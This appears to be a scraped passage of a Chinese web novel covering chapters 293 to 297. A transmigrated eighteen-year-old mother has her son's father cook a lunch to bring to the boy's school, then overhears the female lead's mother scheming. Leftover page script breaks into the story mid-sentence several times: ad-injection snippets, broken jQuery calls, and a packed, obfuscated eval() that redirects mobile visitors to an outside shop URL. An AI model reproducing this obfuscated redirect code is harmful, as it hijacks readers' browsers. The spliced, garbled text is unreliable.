“老咯老咯,完全跟不上年轻人的脚步和想法咯。” 白幺幺洗漱完,才想起她那么大一个儿子。 她出了房间去找人一起吃早餐,至于人是否已经起来,早餐吃了没,想那多做什么。 房间里没看到人,白幺幺直接下楼去,在客厅看到了孙伯。 她问:“孙伯,有见到我儿子安安吗?” 孙伯:“……” 他还是稍稍反应了一会儿,才笑着说:“白小姐,小少爷去学校上课了,他离开时交代说,你要是有什么事找他,可以随时打电话给他。” 照理说,小少爷都喊白幺幺妈妈了,那他就不应该喊人白小姐,而是应该称呼人为夫人。 只是家主那边态度未明,更没有亲自发话,孙伯必然不会擅作主张的。 白幺幺轻拍了下额头,“瞧我这记性,都忘记安安还在上学了。” 回顾下剧情,十四岁的小反派因为跳级过两次,现在正在上高二。 “孙伯,安安中午是在学校吃,还是?” 白幺幺在想着要不要去给人送饭,顺便去学校感受下青春和提前考察下学校。 “小少爷平时都是直接在学校食堂吃的,白小姐是想给小少爷送午饭吗?” 白幺幺点头轻“嗯”了声。 “那是我现在去安排让厨房准备,还是白小姐想亲自给小少爷做爱心午餐?” 这题,孙伯他会。 他照顾小少爷有几年了,一直很心疼这个被家主找回来前,吃了那么多苦的孩子。 突然冒出个想当小少爷妈妈,还得到小少爷认可,就差家主那边表态了的女人。 孙伯,怎么说呢,他很高兴,很欣慰。 家里全是男人,没个知冷热的女人哪里能成。 再说了,小少爷到现在都还没彻底对家主敞开心扉。 有个女性角色在其中做调和,父子俩说不定很快就能其乐融融了。 一切的关键还是,这位白小姐着实厉害,竟然让小少爷连妈都叫上了。 瞧着年纪是小了点,不过听说也只比他们家主小十四岁。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 或许就是因为年纪不大,和小少爷不怎么存在代沟问题,所以才那么容易被小少爷接受的吧。 当然年纪不是什么问题,只要能对他们小少爷好。 不说把小少爷当亲子来疼,起码明面上的过得去,让这个年纪的小少爷能多多感受点母爱就行。 现在看来,小少爷眼光果然不错。 能想到亲自为小少爷做爱心午餐送去学校,有心了呀! 哎呀,老了,思绪总是不受控制的飘远。 孙伯回神,就看到面前一只白皙细嫩纤长的手在晃动。 白幺幺见人回神,才轻咳一声道:“孙伯,你看这是什么?” 孙伯:“???” 这,他应该还没老到老眼昏花的地步吧! 难道小姑娘是在和他玩那个什 么脑筋急转弯? 孙伯语气有些不确定的说:“白小姐你的一只右手?” “错!” 白幺幺摇头,手又在人面前晃了晃,才道:“准确的,应该说这是一只十指不沾阳春水的手,一只还从未干过粗活的手,一只必须精心呵护的手。” 一脸茫然的孙伯:“???” 得了小少爷的认可,家主的表态那是迟早的事。 看来他之后还是要花心思恶补些小年轻的说话方式,思维方式,以及常用的热词热梗。 人呀,果然是要活到老,学到老,跟上年轻人的步伐才行。 瞧出孙伯的疑惑,白幺幺干脆说得更直白了些。 “孙伯,你知道我这只手从出生到现在,干过最重的活是什么吗? 拿筷子?端饭碗?嗯,好像都不是,应该是昨天拍我儿子脑袋的一下? 所以,做饭是不可能做饭的。 我千里迢迢来投奔我儿子,就是为了让他养我的。 不说从此过上衣来伸手饭来张口的日子,起码也要比原先的生活质量有所提高,总不能还把生活质量降低了吧!” 白幺幺同志说得一脸理所当然,而她可没说谎,说的都是大实话。 她现在这具身体可是才新鲜出炉没多久的,所以她的话真没夸大。 第293章 灭世反派的早死亲妈(23) 孙伯:“……” 这……这……这这…… 他简直震惊得说不出话来! 啥高兴,啥欣慰,完全荡然无存了,直接被担忧替换。 以家主和小少爷的身家,家主夫人进门后,那肯定是享福的。 就是真想过衣来伸手饭来张口的生活,也不过是花点钱多请几个人的事。 只要是钱能解决的事,对他们家主和小少爷来说那都不是事。 可关键是这个吗? 关键是,这样的一番话是能这样大喇喇说出来的吗? 孙伯想,肯定是因为小姑娘年纪还小的原因,才这般……心直口快,真性情。 孙伯毕竟是见过大场面的人,他很快收拾好自己的表情。 他没继续纠结白幺幺的这番话,而出露出一个职业管家的标准微笑。 “我明白了,白小姐,那我现在就去交代厨房给小少爷准备午餐。 对了,白小姐的午餐是在家里用,还是一样让厨房打包了,带过去和小少爷一起用?” 白幺幺想了下说:“把我的午餐也一起打包了,我带过去和安安一起吃。” “好的,白小姐。” 孙伯离开后,伫立在楼梯拐角处良久的男人才迈步继续下楼。 白幺幺回头瞪了人一眼,“大叔,你不知道躲在暗处偷听墙角是很不礼貌的行为吗?” 萧禹洲神色并没有因为白幺幺的称呼产生半丝变化,他淡淡扫了人一眼,道:“这是我家。” 言外之意就是这是他家,他想站哪个位置,站多久都行。 白幺幺同志是讲道理的人吗? 显然不是。 “我不管,你偷听我和孙伯讲话,这是你不对,你必须和我道歉。 不然等中午见了安安,我要和他告状,说你欺负我,还变相的要我认清自己只是寄人篱下,需要夹着尾巴做人的小可怜。” 脸上表情出现一点点点裂痕,又很快自我修复的萧禹洲:“……” 他看着人,语气依旧淡淡,“你十八岁了!” 言外之意,就是十八岁成年了,可不可以不要如此幼稚。 白幺幺朝人俏皮的眨了下眼,咧嘴笑道:“对呀,我才十八岁,可大叔你已经三十二岁了!” 她十八,她就得瑟,就显摆,谁让她十八呀! 萧禹洲沉默了。 约莫十秒后,他直接问道:“你似乎对我抱有很大的意见,为什么?” 白幺幺耸耸肩,反问道:“难道我不该对你有意见吗?” 萧禹洲:“……” 他张了张唇想说什么,最后却什么也没说,沉默的与白幺幺对视。 白幺幺笑着朝人走过去,抬手在人肩膀上拍了拍。 萧禹洲微蹙了下眉,想侧身躲开白幺幺的手。 只是想到白幺幺那身怪力,以及胡搅蛮缠的劲,他迟疑了一瞬,最后放弃了。 因为迟疑的那一瞬,脑中闪过一个他躲,她追,最后被死死压制的画面。 “大叔,你厨艺如何?” 萧禹洲明知道对方来者不善,却还是如实说道:“尚可。” 白幺幺又问,“那你给安安亲自下厨做过爱心餐吗?” 萧禹洲沉默了下,才说:“没有。” 白幺幺又拍了拍人肩膀,不赞同的摇头。 “你这样不行啊,如果为人父母需要持证上岗,你肯定通过不了的。 不说一日三餐,都要餐餐亲自下厨煮给孩子吃。 但是,起码节假日,孩子生日时,总要亲自下厨给孩子做顿饭,让他能直观的感受到父母的爱。 喏,现在就给你个弥补和表现的机会,顺便也让安安尝尝你的手艺。” 别的孩子有的,她的小反派也要有。 别的孩子没有的,嗯,她的小反派也有了,比如十八岁的妈妈。 萧禹洲深深看了人一眼,最后放弃拉人一起进厨房的想法。 孙伯还在厨房里和韩师傅交代中午要做哪几道菜,当然无一不是白泽安爱吃的。 已经交代得差不多时,萧禹洲和白幺幺一前一后走了进来。 孙伯忙第一时间迎上去,在他还没开口时,萧禹洲的声音响起。 “孙伯,你和韩师傅都出去,今天的午餐我来做。” 萧禹洲说完,已经挽起袖子朝灶台走去。 孙伯:“……”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 家主这是要亲自给小少爷做爱心午餐吗? 没有白小姐亲自做的爱心午餐,却能吃到家主亲自做的爱心午餐,相信到时小少爷一定会很开心很感动的吧。 这……果然家里还是要有个女人。 白小姐才刚来多久,家主都懂得要亲自给小少爷准备爱心午餐来修缮他们父子之间的关系了。 韩师傅:“……” 家主还会做饭? 不需要他在旁边看着点,顺便指导下,真的没问题吗? 两人都不约而同看了眼他们家主身后的白幺幺,最后还是很有默契的,什么都没说,一起离开了厨房。 白幺幺拉了把椅子坐下,帮忙是不可能帮忙的,她是跟进来做监工的。 想着很快就吃午餐了,她就随意喝瓶牛奶配个三明治。 解决了早餐,她把手机掏出来,开始录视频。 萧禹洲察觉到她的动作,轻皱了下眉,却也没阻止。 该说不说,认真做一件事的男人很帅很迷人,当然前提是这男人本身就长得俊。 白幺幺:“……” 怎么滴。 她对男人是有意见,但真一点都不妨碍她欣赏人的俊颜。 当勾人香味萦绕鼻尖时,白幺幺知道男人回答尚可是谦虚了。 她一点不客气的报了两个菜名,一个是番茄牛腩,另一个是菠萝古老肉。 萧禹洲只是回头看了她一眼,也没说给做,还是不给做。 白幺幺才不管他了,反正她中午是一定要吃到对方做的这两道菜。 哼,吃不到,那她绝对会一哭二闹三上吊的。 萧禹洲原本是备好四菜一汤的食材,后面又加了两道菜。 足足过去了两个小时,六菜一汤才全部做好。 白幺幺催促人赶紧打包,别让她的好大儿等急了。 孩子正处在发育的年龄,可饿不得。 饭都做了,也不差打包这活儿。 萧禹洲一言不发的开始打包,没一会儿就打包好了。 白幺幺瞅着桌上的一大包,继续差使人做事。 她一个眼神才看过去,还没说什么,萧禹洲已经明白她的意思。 第294章 灭世反派的早死亲妈(24) 萧禹洲:“……” 他目光下意识的落到白幺幺拿着手机的手上,脑中响起刚刚听到的话。 察觉到他的视线,白幺幺放下手机,大大方方朝人展示了下她那仿佛艺术家雕刻的完美右手。 “瞧见没,这是一只干不了重活的手。” 白幺幺说话时,还特意在“重”字稍稍咬重了下音。 萧禹洲没说话,却认命的提起东西朝外走去。 白幺幺忙屁颠屁颠的跟上。 等两人走远了后,猫在客厅某个角落的孙伯和韩师傅才探出头来。 高兴和欣慰的表情重新回到孙伯脸上,他小声和旁边的韩师傅感叹。 “家主和白小姐真的是越看越登对,看来我很快就要有的忙了。 也不知道两人是更喜欢中式婚礼,还是西式婚礼。 对了,白小姐还不到领证的年龄了,这的确是个大麻烦。 不过就算不能结婚,肯定也要先把婚订了。 等白小姐结婚年龄一到,再把证领了,婚礼办了。 唉,家里已经多久没办喜事了,到时我一定要好好安排,热闹热闹。” 韩师傅:“……” “那……那个孙伯,你是不是想得有点早了。” 韩师傅就是个直性子,拍不了领导马屁,说不了违心恭维话的。 胜在他有一门过硬的手艺傍身,生活才能过得还不错。 孙伯摸了摸后脑勺,这时也冷静下来了。 的确是有点,这毕竟定下的是未来家主夫人,还是不能操之过急的。 得慢慢来,慢工出细活。 主要还是家主和白小姐这年龄差的大些,需要时间多磨合磨合。 出行的车子和司机,孙伯早就安排好了。 司机原本是在车上等着的,远远见到萧禹洲和白幺幺走过来。 他忙下车小跑过去接过萧禹洲手上的东西,先几步走到车边将东西放车上。 手中的东西被司机接走后,萧禹洲的“任务”算完成了,他就直接转身就要回屋。 “等等。” 白幺幺将人喊住。 萧禹洲停住脚步,淡声道:“还有事?” 白幺幺理所当然道:“帮我开车门呀!” 萧禹洲:“……” 白幺幺可不管男人脸上是啥表情,她扬了扬精致尖翘的下巴,表情还微微有些得意。 “你不是知道我有病吗?” 黑眸中流露出显而易见疑惑之色的萧禹洲:“……” 他什么时候知道的?他不知道,真的! “对啊,我就是有很严重的公主病,而且已经放弃治疗了。” 萧禹洲三两步走到车边,动作很绅士的将车门打开,而后用眼神示意白幺幺赶紧过来上车。 白幺幺:“……” 这也太能屈能伸吧! 一点点挑战都没有,还真是不好玩。 白幺幺不知道的是,一切不过是那两句“公主请上车,公主请下车”的威力杠杠滴。 萧禹洲那是想到了这茬,在只是开车门和开车门的同时还要说那句公主请上车,他快速做出选择。 毕竟,他深谙迟则生变的道理。 而白幺幺的行为,在他看来就是故意为之的。 目的? 或许就是为了好玩,或者……折腾他?! 好像又不全是,无所谓,不过都是些不痛不痒的小女生把戏,随她玩吧。 车上。 白幺幺问了司机,知道要二十分钟左右到学校。 拿出小反派昨晚特意给她准备的手机,手机里一开始只存了小反派的联系方式。 后面小反派想着他要是偶尔被什么事绊住,她又有急事找不到人怎么办? 皱着脸犹豫许久,才有些不情不愿的将萧禹洲和孙伯的联系方式也给添加了进去。 白幺幺没有给小反派打电话,而是编辑了条信息发过去。 内容很简单,就是“亲亲儿子,等下放学到校门口来,妈妈有惊喜给你哦!” 白泽安读的是贵族学校,是可以带手机到学校的。 不过不能影响到上课学习,不然学校会做出没收手机等相应的惩罚。 白泽安平时上课时一般都将手机调飞行模式的,只是今儿,他的心思根本全在家里的白幺幺那。 根本无法专心听课,手机被他调震动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 明明没察觉到手机有情况,却还是忍不住时不时的偷偷摸出来查看下。 生怕因为自己的一个没注意,错过了白幺幺的电话或信息。 上课的老师是知道白泽安身世背景的,再加上白泽安成绩优异,平时表现很好。 所以即使发现他上课不专注,老师还是选择睁一只眼闭一只眼。 当白泽安又忍不住拿起手机偷看时,手机恰巧震动了下。 他心中一喜,同时又有点担忧,迫不及待的点开手机看。 见到是妈妈给他发的信息,白泽安眼眸一亮。 当看到信息内容第一句话“亲亲儿子”四个字时,小少年耳后根情不自禁的红了。 惊喜? 妈妈说有惊喜要 给他。 怎么办,还有二十分钟才下课,小少年有些坐不住了。 白泽安今儿的异样不仅老师发现了,他的同桌想不发现都难。 白泽安的同桌和他同岁,一样是跳级上的高二,是个小女生哦。 因着班级里就他们俩是跳级上来 ,老师直接将两人安排成同桌。 白泽安的这个同桌名叫宋嘉莹,是个集美貌与智慧并存的开朗小女生。 宋嘉莹几次咬唇,很想开口关心下同桌的情况。 只是两人虽做了有段时日的同桌,但白泽安性子冷沉,略显孤僻,平时在学校除了学习就是学习。 所以两人其实不是很熟,除了偶尔聊下学习上的问题,其他时候都不怎么交流的。 而且聊学习的问题,还都是宋嘉莹同学主动找人聊的。 好不容易挨到了下课。 铃声一响,白泽安拿着手机风一般的蹿出教室。 宋嘉莹听着还在响着铃声,看着已经跑没影的同桌,心中担忧更甚。 她之前可没错过,同桌看了手机收到的信息,不仅笑了,还疑似露出了害羞的神情。 宋嘉莹有个大胆的猜测,她的同桌是不是早恋了。 作为学生,肯定不少听关于早恋的危害。 宋嘉莹咬了咬唇,最后还是放弃偷偷追出去探个究竟的想法。 至于告诉老师,她是从未想过的。 第295章 灭世反派的早死亲妈(25) 正午,阳光正烈。 白幺幺在车上吹着空调等人。 下课铃声响起时,她在车里也听到了。 侧头看向车窗外,在陆陆续续走出来的学生中搜寻小反派的身影。 很快她就看到了那道唯一是跑动着的身影,怕外面的热气钻进车里,白幺幺并没有降下车窗来朝人招人。 白泽安来到校门口,大概扫了眼,就看到了家里的车。 他继续小跑着来到车旁,而后开车门坐了进去。 “妈,你怎么来学校了?等很久了吗?还有你午饭吃了吗?” 白泽安坐到车里,都顾不得先抽张纸把脸上的汗擦擦,就对着白幺幺抛出一个又一个问题。 “喏,先把满头的汗擦擦。” 白幺幺抽出两张纸递过去,“不然你把脸凑过来些,妈妈帮你擦。” “不……不……不用了,我自己来。” 白泽安飞快的接过面前的纸巾,开始擦起脸来。 就在刚刚,他脑中浮现起了一些画面,以前妈妈也给他擦过汗。 只是那时的他还小,现在他已经长大了。 妈妈也不是那时的妈妈,而是从过去来到现在的十八岁妈妈。 失去妈妈后的经历,让他懂得人要知足,要抓住握紧,还有珍惜现在所有拥有的。 在人擦汗的时候,白幺幺一一回答了下对方刚刚的几个问题。 “我这不是给你送惊喜来的,我是看着时间出门的,所以就刚到没几分钟,还有,我也还没吃午饭了。” “惊喜?” 白泽安眼眸一下子亮晶晶的,里面盛满了好奇与期待。 白幺幺也不卖关子,说道:“对呀,我给你带了爱心午餐过来,等下我们一起吃。” 白泽安动了动嘴唇,忍不住问道:“是,是妈妈亲自做的吗?” 记忆中,妈妈做的饭菜真的很好吃,很好吃。 每次他都能吃很多,把小肚子撑得圆滚滚的。 不过就是不知道,妈妈是后来才学会做饭的,还是以前就会做饭的。 十八岁妈妈做的饭,真的很期待。 等下无论味道怎样,都要全部吃光光,甚至他脑中已经想了好几套夸赞的说辞。 “不是呀。” 白幺幺很坦然的摇了摇头,而后把手伸到小少年面前,慢动作的展示了一圈。 “儿子,看到没,妈妈的手又白又嫩的,哪里适合下厨。 不过你要是很想吃妈妈做的菜,嗯,妈妈可以……在旁边口头指导你做,这样四舍五入后,你不就相当于吃到做妈妈做的菜了。” 白泽安目光紧紧盯着那只白皙细嫩,好看到在发光的手。 他试图将这只手与记忆中妈妈的手相重合,可是,两只手像是存在于两个不同的世界,就像手的主人一样。 白泽安眼睛发烫,鼻头发酸,胸口又闷又堵。 他努力压下心中来势汹汹的情绪,硬是挤出一抹笑来。 “妈妈,以后我只要有空余时间,就去找韩师傅学做菜,到时妈妈想吃什么,我来做给你吃。” 白幺幺佯装没有看到小少年的异样,幸福的眯了眯眼。 “真的吗,安安果然是妈妈的好儿子,呜呜,妈妈觉得自己好幸福啊!” “好了,儿子,我们先吃饭吧,不然等下饭菜凉了就不好吃了。 对了,儿子,你猜猜今天的午餐是谁给你做的爱心午餐?” 白泽安面上表情虽调整好了,心里的情绪却还未完全恢复。 既然不是妈妈亲自做的,他心里也就没多少期待了感。 还有,也幸好不是妈妈做的。 不然,要是妈妈因为给他做饭而弄伤自己,他一定会很自责内疚的。 想到白幺幺刚说的话,他不确定的说道:“是妈妈你口述指导韩师傅做的?” 韩师傅:“……” 小少爷啊,你这话敢不敢当着我的面再说一遍。 白幺幺摇头,“不是哦,是老……大叔做的。” “大叔?” “就是你爸呀。” 表情有那么一瞬间呆滞的白泽安:“……” 脑中浮现起那个男人在厨房里颠锅炒菜的画面,他浑身陡然一个激灵。 “那个”,白泽安神色有些纠结的问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13985739|148285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他为什么会突然想到要做饭给我吃?” 无事献殷勤的非奸即盗! 还有那男人瞧着就不像是会做饭的,等下不会把妈妈和他吃进医院吧! 白幺幺大概是看出小少年的想法了,心中觉得好笑。 她说:“也没为什么,就是我知道他从未亲自为你下厨过后,生气极了,直接把人批评教育了一通。 然后择日不如撞日,就让人去厨房做了这顿午餐。 儿子你放心,全程我都有在旁边监工,虽还没尝过味儿,但光闻着,就知道肯定不难吃的。” 白泽安还是持怀疑态度,主要是那男人瞧着就不像进过厨房的。 只是当他亲手一一打开打包饭盒时,诱人的香味扑鼻而来,之后再亲口尝了味道。 他心中除了惊讶外,还莫名产生了危机感以及 警惕心。 他虽叮嘱了人不能欺负他妈,但对方这任由他妈……批评教育一通后,竟然还真的听话的进厨房做菜。 这想想,真的很不像那男人的脾性和做事风格。 白泽安埋头吃着饭,至于之前想好的夸赞之辞早被他丢到犄角旮旯了。 饭菜好吃是好吃,他也吃得很满意,但让他夸这些饭菜好吃,那是不可能的。 但该说不说,这顿饭,不管是白幺幺还是白泽安都吃得很开心。 吃完饭,白幺幺看着外面的大太阳,熄了这个时候下车进去参观学校的想法。 等白泽安收拾好后,白幺幺直接让人赶紧回学校去午休,而她要去商场逛逛,然后下午再来接他放学。 白泽安虽有些舍不得,但还是听话的回班级去。 不过离开前,又再次化身老妈子,各种的叮嘱。 什么看到喜欢的直接买,卡里的钱就是买下商场里的所有东西都够了。 什么如果遇到坏人,一定要先保护好自己的,更不要去见义勇为啥。 什么如果遇到有人搭讪的,直接冷着脸走开,可以的话,偷偷把人的长相拍下来。 什么如果到时逛累了,其实可以直接回家休息,下午不用再特意来学校接他放学的。 什么…… 第296章 灭世反派的早死亲妈(26) 商场旁边的一处清幽的茶室里。 “妈妈,我自己可以的,你有工作要忙,明天就先回去吧”。 江惠珊语带撒娇,将倒好的茶放到宋乐彤面前。 宋乐彤伸手轻点了下女儿的鼻尖,语气无奈又宠溺。 “你呀,是不是嫌妈妈烦了。 好不容易能到异地来上学,平时没了妈妈在旁边管着你,心里应该快乐没边了。” 江惠珊鼓了鼓双颊,“哪有,我最喜欢妈妈了,也最喜欢被妈妈管着了。” 宋乐彤有些好笑的伸手戳了戳女儿鼓起的双颊,同时轻抚了下人的脑袋。 “珊珊,你也知道的,你爸的生意不在京市,妈妈平时也有自己的工作要忙。 所以啊,只能放你一个人在京市,爸爸妈妈其实还是很不放心的。 不过幸好有嘉远那孩子以及你赵阿姨,不然爸妈是说什么都不可能让你转来京市读书的。” 听到自家妈妈提到了嘉远哥哥,江惠珊适时附和道:“对呀,对呀,妈妈,你放心,嘉远哥哥会保护我的。 再说了,你看你把我生得这般人见人爱。 到了新学校,大家肯定很喜欢我,争着和我做朋友的,哪里有人舍得欺负我呀!” 江惠珊说完,还俏皮的朝自家妈妈做了个生动小表情。 “你呀你。” 宋乐彤摇头轻笑了下。 她其实不担心女儿的,只是作为一个妈妈,有些话总是忍不住说了出来。 这或许就是儿行千里母担忧吧! 又断断续续交代了女儿好些话后,宋乐彤想到什么,神色严肃了些。 “珊珊,嘉远那孩子有个龙凤胎姐姐你知道吧。” 江惠珊不明所以的点了点头,“妈,你突然提到嘉远哥哥的姐姐做什么?” 宋乐彤瞧着女儿那副单纯茫然的模样,不免轻叹一声。 “你呀,你呀,难道你忘记你赵阿姨是为什么带着嘉远那孩子离开京市的吗?” 江惠珊脱口而出道:“不就是因为宋叔叔有严重的重女轻男观念,赵阿姨实在受不了嘉远哥哥被忽视冷待,所以选择带着嘉远哥哥到其他城市生活,想给嘉远哥哥一个快乐的童年。” 宋乐彤点了点头,“是这样的没错。” 她伸手摸了摸女儿的头。 “珊珊,为人父母,不管是重男轻女,还是重女轻男都要不得的。 咱家里,不管是妈妈还是爸爸,都会更偏疼你些,不过这些都还没到重女轻男的地步。 毕竟对你疼宠些的同时,我们对你弟弟也是一样疼宠的。 只是嘉远那孩子的爸爸,就有点糊涂了。 明明嘉远那孩子晚出生十几分钟,身体比他姐姐弱不少。 可是他依旧是只疼女儿,对儿子都没抱一下,甚至都不怎么关心,甚至还想着未来家产两个孩子谁有能力谁继承。 要不是你宋叔叔做的太过了,你赵阿姨你也接触过,多么温柔善良的人,不然也不会带着你嘉远哥哥出来单独过。” 江惠珊皱了皱好看的柳叶眉,语气忿忿道:“宋叔叔太过分了,根本不配当个爸爸,嘉远哥哥实在太可怜了。” 宋乐彤轻轻叹气,“可不是。” 江惠珊气鼓鼓着脸问,“妈妈,既然宋叔叔那么坏,赵阿姨为什么还要带着嘉远哥哥回来,我们都不要来京市读书了不好吗?” 宋乐彤伸手在女儿额头上轻戳了下。 “你这孩子就是被我们养得太善良单纯了。 一样是你宋叔叔的孩子,你嘉远哥哥要是再不回来,到时家产不都让他那个姐姐得了。 凭什么你宋叔叔把大部分的东西都给姐姐,你嘉远哥哥几乎得不到什么,这公平吗?” 江惠珊小鸡啄米似的点头,“对,凭什么,不公平。” 宋乐彤见女儿终于听明白了,继续说:“所以呀,你赵阿姨就带着你嘉远哥哥回到京市,准备拿回属于他们的东西。” 江惠珊再次小鸡啄米似的点头,“拿回来,肯定要把属于嘉远哥哥的那一份拿回来。” 宋乐彤无奈的朝女儿笑着摇了摇头,“这个不需要你操心,有你赵阿姨了,为母则刚,她懂得如何为你嘉远哥哥谋划的。 你呀,我还是比较担心你。” “妈妈,你担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13985740|148285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我啥?” “就是嘉远那孩子的龙凤胎姐姐也不知道有没有被你宋叔叔宠坏了,到时要是欺负你。 嗯,应该更可能会欺负的是欺负嘉远,到时你可别冲动哦!” “不是,嘉远哥哥是她弟弟,她凭什么欺负嘉远哥哥呀!” 江惠珊有些激动的从座位上站起来。 “坐下,快些坐下,妈妈只是说如果,你激动啥。” “我……” …… 白幺幺捂着嘴打了个哈欠,在商场逛累了,她选择了商场边的这家茶室坐下来休息,品品茶打发时间。 没成想这么的巧,女主和她妈也在呀! 茶室走的是古典风,用山水花鸟画水墨屏风做隔断,私密性尚可。 白幺幺没想到她随便选的位置,竟然选到了女主母女俩的隔壁。 至于偷听啥的,她是个道德素质极高的人,真不想的。 怪只怪茶室这个时间点没什么人,太清幽静谧了,而她耳力又极好。 男女主要转学过来了呀,那剧情的关键人物全部要聚一起了。 原剧情中,男主宋嘉远有个龙凤胎姐姐,叫宋嘉莹。 而好巧不巧的,这个宋嘉莹是小反派的高中同班同学,还是同桌。 两人学习都极好的,后来跟小反派一起考上了国内顶级学府。 宋嘉莹其实一直偷偷暗恋着小反派,不然也不会大学和小反派选择同一个学校。 只是小姑娘是个红颜薄命的,在大三那年去世了。 她去世的那天,刚好鼓足勇气,约了小反派,准备表明心意。 学霸的表白,没有整什么花里胡哨的东西,而是很中规中矩的写了一封情书。 同时附上了一本她高中时到现在的日记本,日记本里记录了小姑娘是如何一点点被小反派吸引,从芳心暗许,再到日渐情深的。 宋嘉莹其实没想过大三就表白的,她其实想着大学毕业那年再表白的。 只是这年小反派家里出了事,她才想以女朋友的身份陪在人身边。 没错的,这年小反派亲爸,也就是萧禹洲死在了一场空难中。 第297章 灭世反派的早死亲妈(27) 小姑娘扎着高高的马尾辫,一袭淡粉色的长裙,在马路对面朝着对面的心上人摆手,脸上的娇羞和笑意是怎么都掩藏不住的。 美好的画面只是定格了那么一瞬,失控的大货车眨眼的功夫就将画面撞得稀烂粉碎。 事故发生得太突然,尖叫声此起彼伏,现场有点乱。 血一下子将小姑娘的粉裙染红了,口鼻耳不断有鲜血流出,小姑娘的视线开始模糊。 只是朦朦胧胧中,小姑娘看到心上人朝她跑来的身影,眸中霎时注入了光。 她看到他伸手想触碰她破碎的身体,却又不敢将手落下。 她看清楚了,他的手在颤抖。 她还看清楚了,他哭了,为她而哭。 眼泪没有掉得很凶,甚至接近无声,可她就是能感觉到他真的很伤心,很难过,很害怕。 她用尽最后一丝力气,想将被她紧紧护在怀中的东西送到他面前,同时嘴上还努力发出“送给你”的音节。 遗憾的是,小姑娘没能亲手将东西送出去。 半空中,小姑娘的手像是一下子被抽走了所有力气,连带她手中抓着的东西一起重重落下。 没能等来救护车,小姑娘走了。 …… 白幺幺无声叹息。 可以说宋嘉莹死让白泽安彻底走上了反派的道路,也让灭世的种子在他心中埋下了。 之后查清了宋嘉莹的死因,以及机缘巧合得知了当年外公是被人诬陷的真相,还有那个下雨天的公交站台……他才彻底坚定了灭世的想法。 世间最爱他的人都不在了,还让他亲眼目睹了两个最爱他的人,惨烈死去的画面。 这一而再的,人不疯魔才奇怪。 白幺幺就觉得,这个世界根本就是为了成就白泽安这个反派,然后让他来灭世的吧! 但凡,给人留下最后一点温情,反派都不至于走上灭世的不归路。 反正简直就是有大病! 再说说小姑娘宋嘉莹的身世,其实哪里是什么男主她妈对外说的重女轻男。 宋家是京市老牌的豪门世家,底蕴深厚。 而男主他父亲虽然也姓宋,却不是宋家人,而是宋家收养的好友遗孤。 当然男主父亲的那个宋家也不差就是了,夫妻俩双双遇难后,还是给男主父亲留下了足够他挥霍几十辈子的财富。 男主父亲住进宋家后,与宋家唯一的独女朝夕相处,情愫暗生。 只是宋家这唯一的独女打小身体就不好,像个瓷娃娃,须精心呵护着。 两人成婚后,男主父亲是不打算要孩子的,男主父亲真的很爱很爱他的这个一起青梅竹马长大的妻子。 有时候吧,人真的很容易进入死胡同。 或许若是男主父亲没那么爱他的妻子,那么他的妻子应该就不会因为无法替他生个孩子而一直耿耿于怀,最后成为执念。 对于真心相爱的人来说,孩子那就是他们爱的延续,是他们的爱情结晶。 可男主父亲已经咨询过国内外多名专家了,他妻子的身体情况根本不适合怀孕,否则会危及生命。 男主父亲说什么都不可能拿妻子的生命做赌注。 没有孩子,实在,可以领养一个。 对于男主父亲来说,再没什么比妻子还重要了。 只不过,有时候,男人真的无法懂得一个女人想为心爱的男人生孩子,想当妈妈的那种渴望。 反正男主父亲最后妥协了,因为他的妻子已经绝食了一天一夜,甚至身体摇摇欲坠的爬上窗台以自杀为威胁。 男主父亲妥协是一回事,但他给出了一个方案,那就是到国外高价找代孕。 妻子不是想要一个孩子吗? 可以,他给。 但是,他也绝对不可能去承受任何可能失去妻子的风险。 所以,能解决一切难题的方法就是找代孕。 将他和妻子的爱情结晶,借着另一个女人的肚子生出来。 反正最后夫妻俩各退一步,这个方案也开始着手实行了。 代孕妈妈是夫妻俩一起从机构推荐的名单中选出来的,一个各方面都十分优秀的留学生。 男主父亲的妻子知道对方之所以出来做代孕,是因为母亲生病,急需一大笔钱治病,她想也不想直接给人开了一张数额不小的支票。 本是出于好心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13985741|148285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为,却让代孕妈妈生出了不该有的心思。 